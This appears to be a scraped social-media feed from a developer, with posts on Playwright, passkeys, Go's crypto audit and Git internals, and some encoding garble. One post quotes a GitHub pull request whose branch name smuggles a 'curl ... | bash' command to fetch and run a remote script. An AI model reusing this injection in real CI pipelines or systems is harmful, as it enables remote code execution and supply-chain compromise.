When developing web apps this way, how do you handle playwright and sessions? Do you add context on how to login, or do you provide some kind of dev routes which will handle auth? I also thought of providing a cookie so I can prepare the session with some data.
29.06.2025 14:50 โ ๐ 1 ๐ 0 ๐ฌ 1 ๐ 0
Tried Amp for the first time today on a sideproject and I'm impressed! I really like the workflow and how it just gets the job done. Currently using the CLI because I'm still married to nvim.
01.06.2025 11:45 โ ๐ 1 ๐ 0 ๐ฌ 0 ๐ 0
Go Cryptography Security Audit
Go's cryptography libraries underwent an audit by Trail of Bits. Read more about the scope and results.
Three Trail of Bits engineers audited core Go cryptography for a month and found only one low-sev security issue... in unsupported Go+BoringCrypto! ๐พ
Years of efforts on testing, limiting complexity, safe APIs, and readability have paid off! โจ
Yes I am taking a victory lap. No I am not sorry. ๐
19.05.2025 19:07 โ ๐ 574 ๐ 84 ๐ฌ 15 ๐ 4
I am convinced 99% of websites should use magic links + passkeys.
It bypasses all (debatable) portability objections to passkeys, itโs at least as secure as email-based recovery, as fast as a password manager, itโs available to all usersโฆ and importantly, no passwords!
02.01.2025 15:26 โ ๐ 156 ๐ 31 ๐ฌ 20 ๐ 3
minimator
minimalist graphical editor in your browser and on the go
The new 'drawing squares during a meeting', beautiful little app: minimator.app
18.12.2024 07:48 โ ๐ 0 ๐ 0 ๐ฌ 0 ๐ 0
Are you using aerospace for the tiling functionality?
14.12.2024 13:11 โ ๐ 0 ๐ 0 ๐ฌ 1 ๐ 0
Picture of a Github PR with text reading
openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
absolutely incredible attack vector
06.12.2024 03:27 โ ๐ 957 ๐ 260 ๐ฌ 17 ๐ 53
Ah, you are referring to the latency between pressing a key and the character appearing on screen?
19.11.2024 08:16 โ ๐ 0 ๐ 0 ๐ฌ 1 ๐ 0
19.11.2024 08:07 โ ๐ 0 ๐ 0 ๐ฌ 1 ๐ 0
I have the same feeling for Messages.app since I have updated. It is a lot slower than in other apps.
19.11.2024 06:16 โ ๐ 2 ๐ 0 ๐ฌ 1 ๐ 0
Are you using SSR here for SEO or performance reasons? Curious if you are doing it for performance reasons. My current inertia-phoenix project has a 100 lighthouse score without using any SSR.
18.11.2024 20:07 โ ๐ 1 ๐ 0 ๐ฌ 2 ๐ 0
HEAD
HEAD is a tiny file that just contains the name of your current branch
.git/HEAD
ref: refs/heads/main
HEAD can also be a commit ID, thatโs called โdetached HEAD stateโ
branches
a branch is stored as a tiny file that just contains 1 commit ID. Itโs stored in a folder called refs/heads.
7622629 - (actually 40 characters)
tags are in refs/tags, the stash is in refs/stash
commit
a commit is a small file containing its parent(s), message, tree, and author
.git/objects/7622629
tree c4e6559
parent 037ab87
author Julia <x@y.com> 1697682215
committer Julia <x@y.com> 1697682215
commit message goes here
these are compressed, the best way to see objects is with git cat-file -p HASH
trees
trees are small files with directory listings. The files in it are called โblobsโ
.git/objects/c4e6559
100644 blob e351d93 404.html
100644 blob cab4165 hello.py
040000 tree 9de29f7 lib
the permissions here LOOK like unix permissions, but theyโre actually super restricted, only 644 and 755 are allowed
blobs
blobs are the files that contain your actual code
.git/objects/cab4165
print("hello world!!!!")
reflog
the reflog stores the history of every branch, tag, and HEAD
.git/logs/refs/heads/main
2028ee0 c1f9a4c
Julia Evans <x@y.com>
1683751582
commit: no ligatures in code
each line of the reflog has: - before/after commit IDs - user + - timestamp - log message
remote-tracking branches
remote-tracking branches store the most recently seen commit ID for a remote branch
.git/refs/remotes/origin/main
a9bbcae
when git status says โyouโre up to date with origin/mainโ, itโs just looking at this
.git/config
.git/config is a config file for the repository. itโs where you configure your remotes
.git/config
[remote "origin"]
url = git@github.com: jvns/int-exposed
fetch = +refs/heads/*: refs/remotes/origin/*
[branch "main"]
remote = origin
merge refs/heads/main
intro post: I post a lot of explanations of computer things, here's an example!
this one's an intro to Git's internals
21.10.2024 13:03 โ ๐ 355 ๐ 82 ๐ฌ 7 ๐ 8
I'm writing a book: Kill the HiPPO: How small, bootstrapped software companies decide what feature to build next.
Follow along or be a beta reader at killthehippo.com
Independent AI researcher, creator of datasette.io and llm.datasette.io, building open source tools for data journalism, writing about a lot of stuff at https://simonwillison.net/
Software Developer (mostly Elixir).
Mainly here to read.
Fediverse https://chaos.social/@sd
Meme Driven Developer
All opinions aren't my own, these belongs to supreme being chosen at random
Sometimes I do some #ElixirLang and #Erlang
#elixir #elixirlang #ashframework Polyglot developer and founder of โ๏ธ @teamalembic.bsky.social
Open-source tool maker/hacker. Author of gron, anew, and a dozen dinky security tools. He/him. Tools: http://github.com/tomnomnom
The Database Guy. I am helping you get better with MySQL and PostgreSQL.
https://goodindexes.com
https://mysqlexplain.com
https://sqlfordevs.com
CTO @ https://contractify.io โข PHP / Laravel / VueJS to pay the bills โข Elixir and Phoenix for fun โข Creator of https://yellowduck.be โข Runner & Cyclist โข ๐ง๐ช Belgium
CUE, Go, fiddler, climber, gardener, curry maker.
I have been building software my whole life. Now using Elixir โค๏ธ
โญ๏ธ Senior AI Developer @ Dyad | GDG Cloud London Organizer | GDG Academy Mentor โญ๏ธ
Likes people. Teamplayer, Open Source Enthusiast, Software Developer, Benchmarker, TDDer, Speaker. Elixir, Ruby, JavaScript. Loves green.
ceo exe.dev, tailscale co-founder, programmer
โก๏ธ Backend Engineer ๐ฎ From Ruby to Elixir ๐จ UI/UX minded ๐ DevOps enthusiast ๐จ Currently working on http://FluxonUI.com
CEO of DockYard
Sailor
Creator of LiveView Native
twitch.tv/bcardarella
Web developer at Apple. FP enthusiast. #ElixirLang, Gleam, #Erlang, #OCaml, and JS when forced.
CTO @ TV Labs. BEAM enthusiast. Wholesome, bad jokes
the internet can still be fun!
https://onemillioncheckboxes.com โข http://eieio.games โข https://everyuuid.com โข https://onemillionchessboards.com
Reproducible bugs are candies ๐ญ๐ฌ